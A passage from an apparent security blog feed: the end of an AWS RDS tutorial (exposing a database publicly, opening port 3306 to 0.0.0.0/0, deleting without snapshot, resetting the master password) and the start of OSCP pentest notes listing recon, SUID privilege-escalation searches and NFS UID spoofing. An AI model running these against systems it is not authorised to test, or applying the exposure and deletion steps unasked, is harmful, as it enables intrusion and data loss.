&amp;#34;DBInstanceIdentifier&amp;#34;: &amp;#34;mydatabase&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;DBInstanceClass&amp;#34;: &amp;#34;db.t3.micro&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Engine&amp;#34;: &amp;#34;mysql&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;DBInstanceStatus&amp;#34;: &amp;#34;available&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Endpoint&amp;#34;: {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Address&amp;#34;: &amp;#34;mydatabase.xxxxxxxx.us-east-1.rds.amazonaws.com&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Port&amp;#34;: 3306&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; },&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;VpcSecurityGroups&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;VpcSecurityGroupId&amp;#34;: &amp;#34;sg-0abcd1234&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Status&amp;#34;: &amp;#34;active&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;You can get the RDS connection address from &lt;strong&gt;&amp;ldquo;Endpoint&amp;rdquo;&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;&amp;ldquo;DBInstanceStatus&amp;rdquo;&lt;/strong&gt; shows the database status&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h4 id="backing-up-rds"&gt;&lt;a href="#backing-up-rds" class="header-anchor"&gt;&lt;/a&gt;Backing Up RDS&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws rds create-db-snapshot --db-instance-identifier mydatabase --db-snapshot-identifier mybackup&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;Create a snapshot (backup)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h4 id="deleting-rds"&gt;&lt;a href="#deleting-rds" class="header-anchor"&gt;&lt;/a&gt;Deleting RDS&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws rds delete-db-instance --db-instance-identifier mydatabase --skip-final-snapshot&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;Delete the database immediately, skipping the final snapshot&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h4 id="checking-whether-rds-allows-public-access"&gt;&lt;a href="#checking-whether-rds-allows-public-access" class="header-anchor"&gt;&lt;/a&gt;Checking Whether RDS Allows Public Access&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws rds describe-db-instances --query &amp;#34;DBInstances[*].[DBInstanceIdentifier, PubliclyAccessible]&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Example response (access was denied):&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;database-1&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; false&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;]&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h4 id="enabling-public-access-to-rds"&gt;&lt;a href="#enabling-public-access-to-rds" class="header-anchor"&gt;&lt;/a&gt;Enabling Public Access to RDS&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws rds modify-db-instance \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --db-instance-identifier mydatabase \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --publicly-accessible \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --apply-immediately&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws rds modify-db-instance --db-instance-identifier mydatabase --publicly-accessible --apply-immediately&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0040.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Once the command completes, it returns the MySQL address and enables public access.&lt;/p&gt;&#10;&lt;h4 id="enabling-the-rds-security-group-policy"&gt;&lt;a href="#enabling-the-rds-security-group-policy" class="header-anchor"&gt;&lt;/a&gt;Enabling the RDS Security-Group Policy&#10;&lt;/h4&gt;&lt;p&gt;The step above successfully enabled external access to MySQL in RDS, but the security group still blocks it. Even though public access is enabled, the security group is a firewall, and the database remains unreachable until the traffic is allowed. Here, we add an inbound rule to the security group.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws rds describe-db-instances --query &amp;#34;DBInstances[*].[DBInstanceIdentifier,VpcSecurityGroups]&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;result:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;database-1&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;VpcSecurityGroupId&amp;#34;: &amp;#34;sg-0e8c9518e********&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Status&amp;#34;: &amp;#34;active&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;]&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Remember the VpcSecurityGroupId.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Grant access:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws ec2 authorize-security-group-ingress \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --group-id sg-0123456789abcdef \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --protocol tcp \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --port 3306 \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --cidr YOUR_IP/32&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;For safety, you can also run curl ifconfig.me&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;After finding the IP, replace YOUR_IP above with the current IP rather than 0.0.0.0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws ec2 authorize-security-group-ingress --group-id sg-0123456789abcdef --protocol tcp --port 3306 --cidr 0.0.0.0/0&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Success.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0041.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0042.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h4 id="changing-the-mysql-password"&gt;&lt;a href="#changing-the-mysql-password" class="header-anchor"&gt;&lt;/a&gt;Changing the MYSQL Password&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws rds modify-db-instance \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --db-instance-identifier database-1 \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --master-user-password &amp;#34;NewPassword123!&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The command above can change the password directly, after which you can connect and inspect the data. This is generally not allowed, though. Even during an authorized penetration test, doing this could get you into serious trouble. Just make a note of it.&lt;/p&gt;&#10;&lt;p&gt;That wraps up RDS. We added an inbound rule with AWSCLI and configured RDS for external access. Now delete everything through the web console.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0043.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The second step is to disable remote access to RDS.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws rds modify-db-instance --db-instance-identifier mydatabase --no-publicly-accessible --apply-immediately&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Steps:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Go to the &lt;strong&gt;AWS console&lt;/strong&gt; → &lt;strong&gt;RDS service&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;li&gt;Find your &lt;code&gt;database-1&lt;/code&gt; database in the &lt;strong&gt;Database instances&lt;/strong&gt; list.&lt;/li&gt;&#10;&lt;li&gt;Click &lt;strong&gt;Modify&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;li&gt;Find the &lt;strong&gt;Connectivity&lt;/strong&gt; section and clear &lt;code&gt;Publicly accessible&lt;/code&gt;.&lt;/li&gt;&#10;&lt;li&gt;Choose &lt;strong&gt;Apply Immediately&lt;/strong&gt; or &lt;strong&gt;Wait for the maintenance window&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Save the changes&lt;/strong&gt; and &lt;strong&gt;wait for the RDS instance to restart&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0044.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I already deleted mine, so I will not include screenshots of these steps.&lt;/p&gt;&#10;&lt;h2 id="fundamentals-complete"&gt;&lt;a href="#fundamentals-complete" class="header-anchor"&gt;&lt;/a&gt;Fundamentals Complete&#10;&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;That completes the fundamentals. If you need to set up a service, define a baseline, configure access control, manage storage, or do anything similar, everything covered above can help you do it. You can even use what you learned to build a free web server with a solid architecture spanning several different services.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;There are plenty of directions to go next. I could take AWS Certified Security – Specialty first, for example, or choose one of the following:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Follow the security path: dig deeper into IAM, VPC, attack-and-defense exercises, and penetration testing&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Follow the DevOps &amp;amp; automation path: Terraform, CI/CD, and Serverless&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Explore specialized AWS services: AI, IoT, blockchain, and more&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;CI/CD appears quite a lot in Jenkins, Azure DevOps, and similar platforms. I am not sure whether AWS&amp;rsquo;s built-in DevOps tooling can be used to carry out penetration testing. My next step is penetration testing on the security track.&lt;/strong&gt;&lt;/p&gt;&#10;</description></item><item><title>OSCP Exploit Notes</title><link>http://xtpol.com/p/oscp-exploit-notes/</link><pubDate>Sat, 04 Jan 2025 12:50:00 +0800</pubDate><guid>http://xtpol.com/p/oscp-exploit-notes/</guid><description>&lt;h3 id="1cewl"&gt;&lt;a href="#1cewl" class="header-anchor"&gt;&lt;/a&gt;1.cewl&#10;&lt;/h3&gt;&lt;p&gt;Detailed tutorial: &lt;a class="link" href="https://blog.csdn.net/qq_43168364/article/details/111773051" target="_blank" rel="noopener"&#10; &gt;Tool Guide &amp;mdash; cewl_Tongdita&amp;rsquo;s Blog - CSDN&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This refers to another researcher&amp;rsquo;s blog.&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;m only noting down the two commands I use most often:&lt;/p&gt;&#10;&lt;p&gt;cewl http://192.168.15.146/ -w dict.txt # Crawl the page and generate a dictionary in the current directory&lt;/p&gt;&#10;&lt;p&gt;cewl http://192.168.15.146/ -n -e # Crawl for email addresses&lt;/p&gt;&#10;&lt;h3 id="2netdiscover"&gt;&lt;a href="#2netdiscover" class="header-anchor"&gt;&lt;/a&gt;2.netdiscover&#10;&lt;/h3&gt;&lt;p&gt;A network-scanning tool (Kali routing analysis).&lt;/p&gt;&#10;&lt;p&gt;It can quickly discover live hosts. Scanning an entire range with only nmap or masscan can be slow; discovering the hosts first makes the detailed scan a little faster.&lt;/p&gt;&#10;&lt;p&gt;netdiscover -i eth0 -r 192.168.1.0/24&lt;/p&gt;&#10;&lt;h3 id="3gobuster"&gt;&lt;a href="#3gobuster" class="header-anchor"&gt;&lt;/a&gt;3.gobuster&#10;&lt;/h3&gt;&lt;p&gt;I find this a little better than dirb and Yujian. dirb is powerful, but it is too slow and can hang when the wordlist is too large.&lt;/p&gt;&#10;&lt;p&gt;The collector&amp;rsquo;s edition of Yujian I use can only brute-force specified directories. Although I can edit its built-in wordlist, I cannot append extensions such as .php or .html. In other words, it can only brute-force exactly what appears in the wordlist.&lt;/p&gt;&#10;&lt;p&gt;gobuster dir -u http://192.168.1.7:33447 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js&lt;/p&gt;&#10;&lt;p&gt;gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt -k -t 50 -u &lt;a class="link" href="http://doctors.htb/" target="_blank" rel="noopener"&#10; &gt;http://doctors.htb/&lt;/a&gt;&lt;/p&gt;&#10;&lt;h3 id="4foremost"&gt;&lt;a href="#4foremost" class="header-anchor"&gt;&lt;/a&gt;4.foremost&#10;&lt;/h3&gt;&lt;p&gt;Kali Linux provides a dedicated file-recovery tool called Foremost. It analyzes the headers, footers, and internal data structures of different file types, compares them against the data in an image file, and recovers the files.&lt;/p&gt;&#10;&lt;p&gt;foremost strcpy.exe&lt;/p&gt;&#10;&lt;h3 id="5sudo"&gt;&lt;a href="#5sudo" class="header-anchor"&gt;&lt;/a&gt;5.sudo&#10;&lt;/h3&gt;&lt;p&gt;sudo -l : For privilege escalation, start with sudo -l to see which commands can be run as which users, then execute the appropriate one.&lt;/p&gt;&#10;&lt;p&gt;sudo -s : Enter a password to try to temporarily obtain a high-privilege root account.&lt;/p&gt;&#10;&lt;h3 id="6suid-privilege-escalation"&gt;&lt;a href="#6suid-privilege-escalation" class="header-anchor"&gt;&lt;/a&gt;6.SUID Privilege Escalation&#10;&lt;/h3&gt;&lt;p&gt;Look for commands that can be run with sudo, then find the corresponding command for Linux privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;find / -perm -u=s -type f 2&amp;gt;/dev/null&lt;/p&gt;&#10;&lt;p&gt;find / -group pinky 2&amp;gt;/dev/null # Check executable files for a particular group; this can turn up other useful things too&lt;/p&gt;&#10;&lt;p&gt;find / -user root -writable -type f -not -path &amp;ldquo;/proc/*&amp;rdquo; 2&amp;gt;/dev/null # Find ordinary files owned by root but writable, skip /proc, and suppress errors&lt;/p&gt;&#10;&lt;p&gt;find / -user root -writable -type d -not -path &amp;ldquo;/proc/*&amp;rdquo; 2&amp;gt;/dev/null&#9;# Find writable directories&lt;/p&gt;&#10;&lt;p&gt;find / -type f -perm 777 2&amp;gt;/dev/null&lt;/p&gt;&#10;&lt;h3 id="7showmount"&gt;&lt;a href="#7showmount" class="header-anchor"&gt;&lt;/a&gt;7.showmount&#10;&lt;/h3&gt;&lt;p&gt;Use showmount to &amp;ldquo;display mount information for an NFS server.&amp;rdquo; See help for details.&lt;/p&gt;&#10;&lt;p&gt;showmount -e 192.168.1.9&lt;/p&gt;&#10;&lt;h3 id="8enum4linux"&gt;&lt;a href="#8enum4linux" class="header-anchor"&gt;&lt;/a&gt;8.enum4linux&#10;&lt;/h3&gt;&lt;p&gt;A tool for enumerating SMB services on Windows and Linux systems. See help for details.&lt;/p&gt;&#10;&lt;p&gt;enum4linux 192.168.1.9&lt;/p&gt;&#10;&lt;p&gt;enum4linux -a -o 192.168.1.9&lt;/p&gt;&#10;&lt;h3 id="9mount"&gt;&lt;a href="#9mount" class="header-anchor"&gt;&lt;/a&gt;9.mount&#10;&lt;/h3&gt;&lt;p&gt;Use this together with showmount to mount a remote directory from the target locally.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;showmount -e 10.10.10.180&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;mkdir ./nfsshare&lt;/p&gt;&#10;&lt;p&gt;mount -t nfs 192.168.1.9:2049/var/nfsshare ./nfsshare&lt;/p&gt;&#10;&lt;p&gt;If an NFS share reports insufficient permissions, the usual fix is to access the target host, check the ID of the account with permission on that directory, and then create a user with the same ID locally, as shown below.&#10;An existing mounted share may be inaccessible because &lt;a class="link" href="https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/6/html/Security_Guide/sect-Security_Guide-Securing_NFS-Do_Not_Use_the_no_root_squash_Option.html" target="_blank" rel="noopener"&#10; &gt;the root_squash flag is set&lt;/a&gt;. We can safely assume that if we have a user named vulnix with the same UID, we will be able to access it.&lt;/p&gt;&#10;&lt;p&gt;Create the user:&lt;/p&gt;&#10;&lt;p&gt;useradd -u &amp;ldquo;id&amp;rdquo; &amp;ldquo;username&amp;rdquo;&lt;/p&gt;&#10;&lt;p&gt;useradd -u 2008 vulnix&lt;/p&gt;&#10;&lt;p&gt;Mount it: (use this if the command above has problems)&#10;mount -t nfs 192.168.1.7:/home/vulnix ./vulnix -nolock&lt;/p&gt;&#10;&lt;h3 id="10smbmap"&gt;&lt;a href="#10smbmap" class="header-anchor"&gt;&lt;/a&gt;10.smbmap&#10;&lt;/h3&gt;&lt;p&gt;A command-line tool for quickly scanning and inspecting SMB (Server Message Block) shares.&lt;/p&gt;&#10;&lt;p&gt;smbmap -H &amp;lt;target 